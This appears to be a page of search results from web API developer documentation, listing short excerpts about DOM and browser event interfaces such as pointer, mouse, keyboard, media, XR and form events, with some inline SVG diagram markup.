the pointertype read-only property of the pointerevent interface indicates the device type (mouse, pen, or touch) that caused a given pointer event.
... syntax var ptype = pointerevent.pointertype; return value ptype the event's pointer type.
... the supported values are the following strings: "mouse" the event was generated by a mouse device.
...And 8 more matches
PopStateEvent - Web APIs
popstateevent is an event handler for the popstate event on the window.
... a popstate event is dispatched to the window every time the active history entry changes between two history entries for the same document.
... if the history entry being activated was created by a call to history.pushstate() or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object.
...And 8 more matches
PromiseRejectionEvent - Web APIs
the promiserejectionevent interface represents events which are sent to the global script context when javascript promises are rejected.
... these events are particularly useful for telemetry and debugging purposes.
... for details on promise rejection events, see promise rejection events in using promises.
...And 8 more matches
PushEvent - Web APIs
WebAPIPushEvent
the pushevent interface of the push api represents a push message that has been received.
... this event is sent to the global scope of a serviceworker.
... constructor pushevent.pushevent() creates a new pushevent object.
...And 8 more matches
XRReferenceSpace: reset event - Web APIs
the reset event is sent to an xrreferencespace object when a discontinuity is detected in either the native origin or the effective origin, causing a jump in the position or orientation of objects oriented using the reference space.
... in the case of xrboundedreferencespace objects, the reset event can also be fired when the boundsgeometry changes.
... in either case, the event is sent before any webxr animation frames which make use of the new origin are executed.
...And 8 more matches
Touch events (Mozilla experimental) - Developer guides
warning: this experimental api was removed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15), when support for the standard touch events was implemented.
... the experimental touch events api described on this page was available from gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to gecko/firefox 17.
... you should instead use the standard touch events api, supported since gecko/firefox 6 with multi-touch support added in gecko/firefox 12.
...And 8 more matches
Object.preventExtensions() - JavaScript
the object.preventextensions() method prevents new properties from ever being added to an object (i.e.
... prevents future extensions to the object).
... syntax object.preventextensions(obj) parameters obj the object which should be made non-extensible.
...And 8 more matches
allowevents - Archive of obsolete content
« xul reference home allowevents type: boolean if true, events are passed to children of the element.
... otherwise, events are passed to the element only.
... on listitem and titlebar elements, mouse events normally do not get sent to their children; instead they are retargeted to the listitem and titlebar element itself.
...And 7 more matches
nsIDOMMozTouchEvent
the nsidommoztouchevent interface describes a raw touch event.
... this provides a mechanism for working with events from touch screens.
... this differs from tracking mouse events in that touch events can be generated independently for each finger touching the screen.
...And 7 more matches
nsIEventListenerInfo
content/events/public/nsieventlistenerservice.idlscriptable an instance of this interface describes how an event listener was added to an event target; these are returned by nsieventlistenerservice.getlistenerinfofor, which provides a list of all the listeners to a given event target.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview nsisupports getdebugobject(); astring tosource(); attributes attribute type description allowsuntrusted boolean indicates whether or not the event listener allows untrusted events.
... capturing boolean indicates whether or not the event listener is in capture mode.
...And 7 more matches
Element: auxclick event - Web APIs
the auxclick event is fired at an element when a non-primary pointing device button (any mouse button other than the primary—usually leftmost—button) has been pressed and released both within the same element.
... auxclick is fired after the mousedown and mouseup events have been fired, in that order.
... bubbles yes cancelable yes interface mouseevent event handler property onauxclick preventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this behavior by calling preventdefault() from within an auxclick event handler.
...And 7 more matches
Element: mousemove event - Web APIs
the mousemove event is fired at an element when a pointing device (usually a mouse) is moved while the cursor's hotspot is inside it.
... bubbles yes cancelable yes interface mouseevent event handler property onmousemove examples the following example uses the mousedown, mousemove, and mouseup events to allow the user to draw on an html5 canvas.
... drawing begins when the mousedown event fires.
...And 7 more matches
Event.currentTarget - Web APIs
the currenttarget read-only property of the event interface identifies the current target for the event, as the event traverses the dom.
... it always refers to the element to which the event handler has been attached, as opposed to event.target, which identifies the element on which the event occurred and which may be its descendant.
... syntax var currenteventtarget = event.currenttarget; value eventtarget examples event.currenttarget is interesting to use when attaching the same event handler to several elements.
...And 7 more matches
HTMLFormElement: submit event - Web APIs
the submit event fires when a <form> is submitted.
... bubbles yes (although specified as a simple event that doesn't bubble) cancelable yes interface submitevent event handler property globaleventhandlers.onsubmit note that the submit event fires on the <form> element itself, and not on any <button> or <input type="submit"> inside it.
... however, the submitevent which is sent to indicate the form's submit action has been triggered includes a submitter property, which is the button that was invoked to trigger the submit request.
...And 7 more matches
KeyboardEvent.code - Web APIs
the keyboardevent.code property represents a physical key on the keyboard (as opposed to the character generated by pressing the key).
...be aware, however, that you can't use the value reported by keyboardevent.code to determine the character generated by the keystroke, because the keycode's name may not match the actual character that's printed on the key or that's generated by the computer when the key is pressed.
... to determine what character corresponds with the key event, use the keyboardevent.key property instead.
...And 7 more matches
MouseEvent.button - Web APIs
WebAPIMouseEventbutton
the mouseevent.button read-only property indicates which button was pressed on the mouse to trigger the event.
... this property only guarantees to indicate which buttons are pressed during events caused by pressing or releasing one or multiple buttons.
... as such, it is not reliable for events such as mouseenter, mouseleave, mouseover, mouseout or mousemove.
...And 7 more matches
MouseEvent.relatedTarget - Web APIs
the mouseevent.relatedtarget read-only property is the secondary target for the mouse event, if there is one.
... that is: event name target relatedtarget mouseenter the eventtarget the pointing device entered to the eventtarget the pointing device exited from mouseleave the eventtarget the pointing device exited from the eventtarget the pointing device entered to mouseout the eventtarget the pointing device exited from the eventtarget the pointing device entered to mouseover the eventtarget the pointing device entered to the eventtarget the pointing device exited from dragenter the eventtarget the pointing device entered to the eventtarget the pointing device exited from dragexit the eventtarget the pointing device exited from the eventtarget the pointing device entered to for events with no s...
... focusevent.relatedtarget is a similar property for focus events.
...And 7 more matches
MutationEvent - Web APIs
the mutationevent interface provides event properties that are specific to modifications to the document object model (dom) hierarchy and nodes.
... note: mutation events (w3c dom level 3 events) have been deprecated in favor of mutation observers (w3c dom4).
... preface the mutation events have been marked as deprecated in the dom events specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps).
...And 7 more matches
PerformanceEventTiming - Web APIs
the performanceeventtiming interface of the event timing api provides timing information for the event types listed below.
...onstart compositionupdate contextmenu dblclick dragend dragenter dragleave dragover dragstart drop input keydown keypress keyup mousedown mouseenter mouseleave mouseout mouseover mouseup pointerover pointerenter pointerdown pointerup pointercancel pointerout pointerleave gotpointercapture lostpointercapture touchstart touchend touchcancel properties performanceeventtiming.processingstart returns the time at which event dispatch started.
... performanceeventtiming.processingend returns the time at which the event dispatch ended.
...And 7 more matches
PromiseRejectionEvent() - Web APIs
the promiserejectionevent() constructor returns a newly created promiserejectionevent, which represents events fired when a javascript promise is rejected.
... with promise rejection events, it becomes possible to detect and report promises which fail and whose failures go unnoticed.
... there are two types of promiserejectionevent: unhandledrejection is sent by the javascript runtime when a promise is rejected but the rejection goes unhandled.
...And 7 more matches
Proximity Events - Web APIs
the proximity events are a handy way to know when a user is close to a device.
... these events make it possible to react to such a change, for example by shutting down the screen of a smartphone when the user is having a phone call with the device close to their ear.
...devices without such a sensor may support those events but will never fire them.
...And 7 more matches
StorageEvent - Web APIs
a storageevent is sent to a window when a storage area it has access to is changed within the context of another document.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/storageevent" target="...
..._top"><rect x="116" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="176" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">storageevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} method overview void initstorageevent( in domstring type, in boolean canbubble, in boolean cancelable, in domstring key, in domstring oldvalue, in domstring newvalue, in usvstring url, in storage storagearea ); attributes attribute type description key domstring represents the key changed.
...And 7 more matches
TouchEvent.changedTouches - Web APIs
the changedtouches read-only property is a touchlist whose touch points (touch objects) varies depending on the event type, as follows: for the touchstart event, it is a list of the touch points that became active with the current event.
... for the touchmove event, it is a list of the touch points that have changed since the last event.
... for the touchend event, it is a list of the touch points that have been removed from the surface (that is, the set of touch points corresponding to fingers no longer touching the surface).
...And 7 more matches
WindowEventHandlers.onhashchange - Web APIs
the windoweventhandlers.onhashchange property of the windoweventhandlers mixin is the eventhandler for processing hashchange events.
... the hashchange event fires when a window's hash changes (see window.location and htmlhyperlinkelementutils.hash).
... syntax using an event handler: window.onhashchange = funcref; using an html event handler: <body onhashchange="funcref();"> using an event listener: to add an event listener, use addeventlistener(): window.addeventlistener("hashchange", funcref, false); parameters funcref a reference to a function.
...And 7 more matches
Mutation events - Developer guides
mutation events provide a mechanism for a web page or an extension to get notified about changes made to the dom.
... preface the mutation events have been marked as deprecated in the dom events specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps).
... mutation observers are the proposed replacement for mutation events in dom4.
...And 7 more matches
Reflect.preventExtensions() - JavaScript
the static reflect.preventextensions() method prevents new properties from ever being added to an object (i.e., prevents future extensions to the object).
... it is similar to object.preventextensions(), but with some differences.
... syntax reflect.preventextensions(target) parameters target the target object on which to prevent extensions.
...And 7 more matches
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the event listeners used when uploading data using the xmlhttprequest object.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) attributes attribute type description onabort nsidomeventlistener a javascript function object that gets invoked if the operation is canceled by the user.
... onerror nsidomeventlistener a javascript function object that gets invoked if the operation fails to complete due to an error.
...And 6 more matches
BeforeInstallPromptEvent - Web APIs
the beforeinstallpromptevent is fired at the window.onbeforeinstallprompt handler before a user is prompted to "install" a web site to a home screen on mobile.
... this interface inherits from the event interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/beforeinstallprompteven...
...And 6 more matches
BlobEvent - Web APIs
WebAPIBlobEvent
the blobevent interface represents events associated with a blob.
... constructor blobevent() creates a blobevent event with the given parameters.
... properties inherits properties from its parent event.
...And 6 more matches
DeviceOrientationEvent - Web APIs
the deviceorientationevent provides web developers with information from the physical orientation of the device running the web page.
... constructor deviceorientationevent.deviceorientationevent() creates a new deviceorientationevent.
... properties deviceorientationevent.absolute read only a boolean that indicates whether or not the device is providing orientation data absolutely.
...And 6 more matches
Document: transitionend event - Web APIs
the transitionend event is fired when a css transition has completed.
... in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
... bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state.
...And 6 more matches
Document: wheel event - Web APIs
the wheel event fires when the user rotates a wheel button on a pointing device (typically a mouse).
... bubbles yes cancelable yes interface wheelevent event handler property globaleventhandlers.onwheel this event replaces the non-standard deprecated mousewheel event.
... note: don't confuse the wheel event with the scroll event.
...And 6 more matches
Element: wheel event - Web APIs
the wheel event fires when the user rotates a wheel button on a pointing device (typically a mouse).
... this event replaces the non-standard deprecated mousewheel event.
... bubbles yes cancelable yes interface wheelevent event handler property onwheel note: don't confuse the wheel event with the scroll event.
...And 6 more matches
Event.bubbles - Web APIs
WebAPIEventbubbles
the bubbles read-only property of the event interface indicates whether the event bubbles up through the dom or not.
... note: see event bubbling and capture for more information on bubbling.
... syntax var doesitbubble = event.bubbles; value a boolean, which is true if the event bubbles up through the dom.
...And 6 more matches
FocusEvent - Web APIs
the focusevent interface represents focus-related events, including focus, blur, focusin, and focusout.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"...
...><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">uievent</text></a><polyline points="191,25 201,20 201,30 191,25" stroke="#d4dde4" fill="none"/><line x1="201" y1="25" x2="231" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/focusevent" target="_top"><rect x="231" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="281" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">focusevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} ...
...And 6 more matches
GamepadEvent - Web APIs
the gamepadevent interface of the gamepad api contains references to gamepads connected to the system, which is what the gamepad events window.gamepadconnected and window.gamepaddisconnected are fired in response to.
... constructor gamepadevent() returns a new gamepadevent object.
... properties gamepadevent.gamepad read only returns a gamepad object, providing access to the associated gamepad data for the event fired.
...And 6 more matches
GlobalEventHandlers.onauxclick - Web APIs
the onauxclick property of the globaleventhandlers mixin is an eventhandler for processing auxclick events.
... the auxclick event is raised when a non-primary button has been pressed on an input device (e.g., a middle mouse button).
... it fires after the mousedown and mouseup events, in that order.
...And 6 more matches
GlobalEventHandlers.ondragexit - Web APIs
the globaleventhandler.ondragexit property is an event handler for the dragexit event.
... the ondragexit event is a gecko specific event listener.
... if you are building a drag-and-drop feature for a website please see the ondragleave event listener instead.
...And 6 more matches
GlobalEventHandlers.onpointerleave - Web APIs
the global event handler for the pointerleave event, which is delivered to a node when the pointer (mouse cursor, fingertip, etc.) exits its hit test area (for example, if the cursor exits an element or window's content area).
... this event is part of the pointer events api.
... syntax eventtarget.onpointerleave = leavehandler; var leavehandler = eventtarget.onpointerleave; value leavehandler the eventlistener which will be invoked to handle pointerleave events sent to the target.
...And 6 more matches
HTMLElement: input event - Web APIs
the input event fires when the value of an <input>, <select>, or <textarea> element has been changed.
... bubbles yes cancelable no interface inputevent event handler property globaleventhandlers.oninput the event also applies to elements with contenteditable enabled, and to any element when designmode is turned on.
... in the case of contenteditable and designmode, the event target is the editing host.
...And 6 more matches
HTMLMediaElement: timeupdate event - Web APIs
the timeupdate event is fired when the time indicated by the currenttime attribute has been updated.
... the event frequency is dependant on the system load, but will be thrown between about 4hz and 66hz (assuming the event handlers don't take longer than 250ms to run).
... user agents are encouraged to vary the frequency of the event based on the system load and the average cost of processing the event each time, so that the ui updates are not any more frequent than the user agent can comfortably handle while decoding the video.
...And 6 more matches
HashChangeEvent - Web APIs
the hashchangeevent interface represents events that fire when the fragment identifier of the url has changed.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke...
...="#d4dde4"/><a xlink:href="/docs/web/api/hashchangeevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">hashchangeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits the properties of its parent, event.
...And 6 more matches
MediaStreamTrack: mute event - Web APIs
the mute event is sent to a mediastreamtrack when the track's source is temporarily unable to provide media data.
... when the track is once again able to produce media output, an unmute event is sent.
... during the time between the mute event and the unmute event, the value of the track's muted property is true.
...And 6 more matches
MouseEvent.clientX - Web APIs
the clientx read-only property of the mouseevent interface provides the horizontal coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... for example, clicking on the left edge of the client area will always result in a mouse event with a clientx value of 0, regardless of whether the page is scrolled horizontally.
... syntax var x = instanceofmouseevent.clientx return value a double floating point value, as redefined by the cssom view module.
...And 6 more matches
MouseEvent.clientY - Web APIs
the clienty read-only property of the mouseevent interface provides the vertical coordinate within the application's client area at which the event occurred (as opposed to the coordinate within the page).
... for example, clicking on the top edge of the client area will always result in a mouse event with a clienty value of 0, regardless of whether the page is scrolled vertically.
... syntax var y = instanceofmouseevent.clienty return value a double floating point value, as redefined by the cssom view module.
...And 6 more matches
MouseEvent.mozInputSource - Web APIs
the mouseevent.mozinputsource read-only property on mouseevent provides information indicating the type of device that generated the event.
... this lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).
... syntax var source = instanceofmouseevent.mozinputsource; return value the following values are possible.
...And 6 more matches
PointerEvent.isPrimary - Web APIs
the isprimary read-only property of the pointerevent interface indicates whether or not the pointer device that created the event is the primary pointer.
... it returns true if the pointer that caused the event to be fired is the primary device and returns false otherwise.
...only a primary pointer will produce compatibility mouse events.
...And 6 more matches
RTCIdentityErrorEvent - Web APIs
the rtcidentityerrorevent interface represents an error associated with the identity provider (idp).
...two events are sent with this type: idpassertionerror and idpvalidationerror.
... firefox implements this interface under the following name: rtcpeerconnectionidentityerrorevent.
...And 6 more matches
RTCPeerConnectionIceEvent - Web APIs
the rtcpeerconnectioniceevent interface represents events that occurs in relation to ice candidates with the target, usually an rtcpeerconnection.
... only one event is of this type: icecandidate.
... properties a rtcpeerconnectioniceevent being an event, this event also implements these properties.
...And 6 more matches
SVGGraphicsElement: cut event - Web APIs
the cut event is fired on an svggraphicselement when the user has initiated a "cut" action through the browserʼs user interface.
... if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data.
... bubbles yes cancelable yes interface clipboardevent event handler property oncut the eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it from the document.
...And 6 more matches
SubmitEvent() - Web APIs
the submitevent() constructor creates and returns a new submitevent object, which is used to represent a submit event fired at an html form.
... syntax let submitevent = new submitevent(type,eventinitdict); parameters type a domstring indicating the event which occurred.
... for submitevent, this is always submit.
...And 6 more matches
SubmitEvent - Web APIs
the submitevent interface defines the object used to represent an html form's submit event.
... this event is fired at the <form> when the form's submit action is invoked.
... constructor submitevent() creates and returns a new submitevent object whose type and other options are configured as specified.
...And 6 more matches
SyncEvent - Web APIs
WebAPISyncEvent
the syncevent interface represents a sync action that is dispatched on the serviceworkerglobalscope of a serviceworker.
... this interface inherits from the extendableevent interface.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target...
...And 6 more matches
TrackEvent() - Web APIs
the trackevent() constructor creates and returns a new trackevent object describing an event which occurred on a list of tracks (audiotracklist, videotracklist, or texttracklist).
... syntax trackevent = new trackevent(type, eventinfo); parameters type the type of track event which is described by the object: "addtrack" or "removetrack".
... eventinfo optional an optional dictionary providing additional information configuring the new event; it can contain the following fields in any combination: track optional the track to which the event refers; this is null by default, but should be set to a videotrack, audiotrack, or texttrack as appropriate given the type of track.
...And 6 more matches
Window.event - Web APIs
WebAPIWindowevent
the read-only window property event returns the event which is currently being handled by the site's code.
... outside the context of an event handler, the value is always undefined.
... you should avoid using this property in new code, and should instead use the event passed into the event handler function.
...And 6 more matches
Window: transitionend event - Web APIs
the transitionend event is fired when a css transition has completed.
... in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
... bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state.
...And 6 more matches
Window: unhandledrejection event - Web APIs
the unhandledrejection event is sent to the global scope of a script when a javascript promise that has no rejection handler is rejected; typically, this is the window, but may also be a worker.
... bubbles no cancelable yes interface promiserejectionevent event handler property onunhandledrejection usage notes allowing the unhandledrejection event to bubble will eventually result in an error message being output to the console.
... you can prevent this by calling preventdefault() on the promiserejectionevent; see preventing default handling below for an example.
...And 6 more matches
WindowEventHandlers.onunload - Web APIs
the onunload property of the windoweventhandlers mixin is the eventhandler for processing unload events.
... these events fire when the window is unloading its content and resources.
... the resource removal is processed after the unload event occurs.
...And 6 more matches
XMLHttpRequestEventTarget - Web APIs
xmlhttprequesteventtarget is the interface that describes the event handlers you can implement in an object that will handle events for an xmlhttprequest.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhtt...
...prequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties xmlhttprequesteventtarget.onabort contains the function to call when a request is aborted and the abort event is received by this object.
...And 6 more matches
XRInputSourceEvent - Web APIs
the webxr device api's xrinputsourceevent interface describes an event which has occurred on a webxr user input device such as a hand controller, gaze tracking system, or motion tracking system.
... constructor xrinputsourceevent() creates and returns a new xrinputsourceevent object whose properties match those provided in the eventinitdict dictionary provided.
... properties frame read only an xrframe object providing the needed information about the event frame during which the event occurred.
...And 6 more matches
XRSessionEvent() - Web APIs
the webxr device api's xrsessionevent() constructor creates and returns a new xrsessionevent object.
... these objects represent events announcing state changes in an xrsession representing an augmented or virtual reality session.
... syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent this particular object represents.
...And 6 more matches
XRSystem: devicechange event - Web APIs
a devicechange event is fired on an xrsystem object whenever the whenever the availability of immersive xr devices has changed; for example, a vr headset or ar goggles have been connected or disconnected.
... it's a generic event with no added properties.
... note: not to be confused with the mediadevices devicechange event.
...And 6 more matches
Media events - Developer guides
various events are sent when handling media that are embedded in html documents using the <audio> and <video> elements; this section lists them and provides some helpful information about using them.
... event name description abort sent when playback is aborted; for example, if the media is playing and is restarted from the beginning, this event is sent.
...note: manually setting the currenttime will eventually fire a canplaythrough event in firefox.
...And 6 more matches
pointer-events - SVG: Scalable Vector Graphics
the pointer-events attribute is a presentation attribute that allows defining whether or when an element may be the target of a mouse event.
... note: as a presentation attribute pointer-events can be used as a css property.
... html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- the circle will always intercept the mouse event.
...And 6 more matches
Toolbar customization events - Archive of obsolete content
when toolbars are customized, events are sent to their parent window.
... you can use window.addeventlistener() to listen for these events in order to keep abreast of changes to toolbars.
... none of these events contain any data; if you need details, you'll need to look at the toolbar.
...And 5 more matches
Ember interactivity: Events, classes and state - Learn web development
along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app.
... objective: to learn how to create component classes and use events to control interactivity, and keep track of app state using a service.
... we can capture the keydown event via the on modifier, which is just ember syntactic sugar around addeventlistener and removeeventlistener (see this explanation if needed).
...And 5 more matches
nsIWorkerMessageEvent
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents an event in a web worker thread's event queue.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data.
... origin domstring the event's origin.
...And 5 more matches
AudioProcessingEvent - Web APIs
the web audio api audioprocessingevent represents events that occur when a scriptprocessornode input buffer is ready to be processed.
... properties the list below includes the properties inherited from its parent, event.
... property type description target read only eventtarget the event target (the topmost target in the dom tree).
...And 5 more matches
ContentIndexEvent() - Web APIs
the contentindexevent() constructor creates a new contentindexevent object whose type and other options are configured as specified.
... syntax var contentindexevent = new contentindexevent(type, contentindexeventinit); parameters type a domstring indicating the event which occurred.
... for contentindexevent, this is always delete.
...And 5 more matches
ContentIndexEvent - Web APIs
the contentindexevent interface of the content index api defines the object used to represent the contentdelete event.
... this event is sent to the global scope of a serviceworker.
... the contentdelete event is only fired when the deletion happens due to interaction with the browser's built-in user interface.
...And 5 more matches
Document: keyup event - Web APIs
the keyup event is fired when a key is released.
... bubbles yes cancelable yes interface keyboardevent event handler property onkeyup the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
...an uppercase "a" is reported as 65 by all events.
...And 5 more matches
Element: cut event - Web APIs
WebAPIElementcut event
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
... if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data.
... bubbles yes cancelable yes interface clipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system clipboard and remove it from the document.
...And 5 more matches
Element: keydown event - Web APIs
the keydown event is fired when a key is pressed.
... unlike the keypress event, the keydown event is fired for all keys, regardless of whether they produce a character value.
... bubbles yes cancelable yes interface keyboardevent event handler property onkeydown the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
...And 5 more matches
Event.stopPropagation() - Web APIs
the stoppropagation() method of the event interface prevents further propagation of the current event in the capturing and bubbling phases.
... it does not, however, prevent any default behaviors from occurring; for instance, clicks on links are still processed.
... if you want to stop those behaviors, see the preventdefault() method.
...And 5 more matches
Event.timeStamp - Web APIs
WebAPIEventtimeStamp
the timestamp read-only property of the event interface returns the time (in milliseconds) at which the event was created.
... note: this property only works if the event system supports it for the particular event.
... syntax time = event.timestamp; value this value is the number of milliseconds elapsed from the beginning of the current document's lifetime till the event was created.
...And 5 more matches
Force Touch events - Web APIs
force touch events are a proprietary, apple-specific feature which makes possible (where supported by the input hardware) new interactions based on how hard the user clicks or presses down on the touchscreen or trackpad.
... events webkitmouseforcewillbegin this event is fired before the mousedown event.
... its main use is that it can be event.preventdefault()ed.
...And 5 more matches
FormDataEvent() - Web APIs
the formdataevent() constructor creates a new formdataevent object instance.
... syntax new formdataevent(type[, formeventinit]); values type a domstring representing the name of the event.
... formeventinit optional a formeventinit dictionary, which can take the following optional fields: bubbles: a boolean indicating whether the event bubbles.
...And 5 more matches
FormDataEvent - Web APIs
the formdataevent interface represents a formdata event — such an event is fired on an htmlformelement object after the entry list representing the form's data is constructed.
... this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data via a method like xmlhttprequest (see using formdata objects).
... constructor formdataevent() creates a new formdataevent object instance.
...And 5 more matches
GlobalEventHandlers.onanimationiteration - Web APIs
the onanimationiteration property of the globaleventhandlers mixin is the eventhandler for processing animationiteration events.
... the animationiteration event is sent when a css animation reaches the end of an iteration.
